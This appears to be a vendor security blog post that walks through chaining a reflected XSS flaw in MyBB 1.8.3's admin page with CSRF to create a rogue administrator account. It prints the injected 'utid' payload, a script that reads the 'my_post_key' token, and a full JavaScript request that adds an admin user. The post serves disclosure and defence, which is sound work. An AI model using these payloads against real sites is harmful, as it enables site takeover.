How a Missing Security Check Enabled a CSRF Attack
Last updated on: January 27, 2021
Cross-site scripting (XSS) and cross-site request forgery (CSRF) have been well-known attack vectors for a long time. In my previous articles, I describe how XSS vulnerabilities can be used to attack popular open source web applications and application frameworks, and how some web applications are compromised by CSRF attacks because of implementation flaws on the server side.
Attackers can also combine these two vulnerabilities to launch attacks that bypass prevention measures. This article illustrates how an attacker could execute a XSS attack to get the anti-CSRF token, which could then be used in a CSRF attack to gain administrator privileges in the application.
Real-World Case: MyBB
MyBB is a free open source forum application. It was named the best free forum software of 2008, 2011 and 2012 by forum-software.org. One instance of MyBB, hackforums, has more than two million members.
I demonstrate the combined XSS and CSRF attack using MyBB 1.8.3. On February 15, 2015, MyBB released version 1.8.4, which fixes the XSS vulnerability and prevents this attack. Sites using MyBB are recommended to apply version 1.8.4 immediately.
Protections for Session Hijacking
MyBB 1.8.3 has already implemented substantial security countermeasures to prevent session hijacking. The HttpOnly attribute has been added in the session cookie, which prevents malicious JavaScript code from sending the session cookie to an attacker’s web application. According to OWASP, the HttpOnly Cookie mitigates the most common XSS attacks by preventing attackers from stealing session cookies via XSS attacks. It is possible to steal the Session Cookie via cross-site tracking (XST) attacks, but most websites using MyBB, such as hackforums, have disabled the Trace method, which makes XST attacks impossible.
This means the attacker needs to find an indirect exploit method.
CSRF attack through XSS vulnerability
Instead of session hijacking by stealing session cookies, an attacker could launch a CSRF attack by using a XSS vulnerability.
As described by OWASP, XSS vulnerabilities could be used to defeat anti-CSRF tokens, Double-Submit cookies and origin based CSRF defenses because an attacker could read any page on the site using XMLHTTPRequest and obtain the anti-CSRF token from the response by using a crafted XSS payload.
During a security evaluation of the then-current release, MyBB 1.8.3, Qualys Web Application Scanning (WAS) detected such a XSS vulnerability.
XSS Proof of Concept
Here is the output from Qualys WAS that identifies the vulnerability. Note the utid parameter in the second line:
GET /
mybb/Upload/admin/index.php?module=user-titles&action=edit&utid=2%22%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/1.1
Host: mybbhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: acploginattempts=0; adminsid=5fc901bc634423be1c9ed304c30815ae
Connection: keep-aliveWhile the MyBB engineering team has implemented security checks to prevent XSS vulnerabilities in this web application, it appears they forgot to implement a security check on this single page for parameter “utid”:
This allows the attacker to inject Javascript using the utid parameter. In the proof of concept above, the utid parameter was set to this value:
2”><script>alert(‘XSS’)</script>Obtaining the CSRF token
In MyBB, the anti-CSRF token is generated only once per session. This means the anti-CSRF token will be the same for all the requests until the session expires. If you check the source code of the vulnerable page, http://mybbhost.com/mybb/Upload/admin/index.php?module=user-titles&action=edit&utid=2,
you can find the parameter my_post_key is used as the CSRF token to prevent CSRF attack:
...<form action="index.php?module=user-titles&action=edit&utid=2" method="post">
<input type="hidden" name="my_post_key" value="ef8418e22d0e5eff3dfc127f5ef8dcae" />
...Combining the XSS vulnerability with this understanding of the anti-CSRF token, an attacker could get the CSRF token by setting the utid parameter to:
2"><script>
window.onload = function(e){
var my_post_key = document.getElementsByName("my_post_key")[0].value;}
</script>CSRF attack to add an administrator user
After the attacker has defeated the CSRF protection method on MYBB by stealing the anti-CSRF token, the next step is just to get the structure of the request of adding administrator user. Since MyBB is an open source application, it is easy to get the request of adding administrator user.
As long as the attacker knows the request of adding administrator user, he/she could write a piece of malicious JavaScript code to make a CSRF attack by using this XSS vulnerability. The following is a piece of a source code that could be used to add an administrator user “attacker” into the database:
window.onload=function(e){
var my_post_key = document.getElementsByName("my_post_key")[0].value;
var postdata= "my_post_key="+my_post_key+"&username=attacker&password=PassW0rd!&confirm_password=PassW0rd!&email=attcker@qualys.com&usergroup=4&additionalgroups[]=4&displaygroup=4"; //Post Data
var url = "http://mybbhost.com/mybb/Upload/admin/index.php?module=user-users&action=add";
var http;
if(window.XMLHttpRequest) // Non-IE browsers
http = new XMLHttpRequest();
else if(window.ActiveXObject) // IE
http= new ActiveXObject( " Microsoft.XMLHTTP " );
http.open("Post",url, false);
http.setRequestHeader('Accept','text/html');
http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
http.setRequestHeader('Accept','application/xhtml+xml');
http.setRequestHeader('Accept','application/xml');
http.send(postdata);
}By triggering an authorized authenticated administrator user to execute the malicious JavaScript code through the XSS vulnerability, an attacker will get full administrator privileges on the website.
Conclusion
Developers and webmasters should be aware that secure web applications require systematic and on-going work. One vulnerability in the application could counteract all your protection methods, including HTTPOnly Cookies and CSRF Tokens, and give attackers full control of the vulnerable web application.
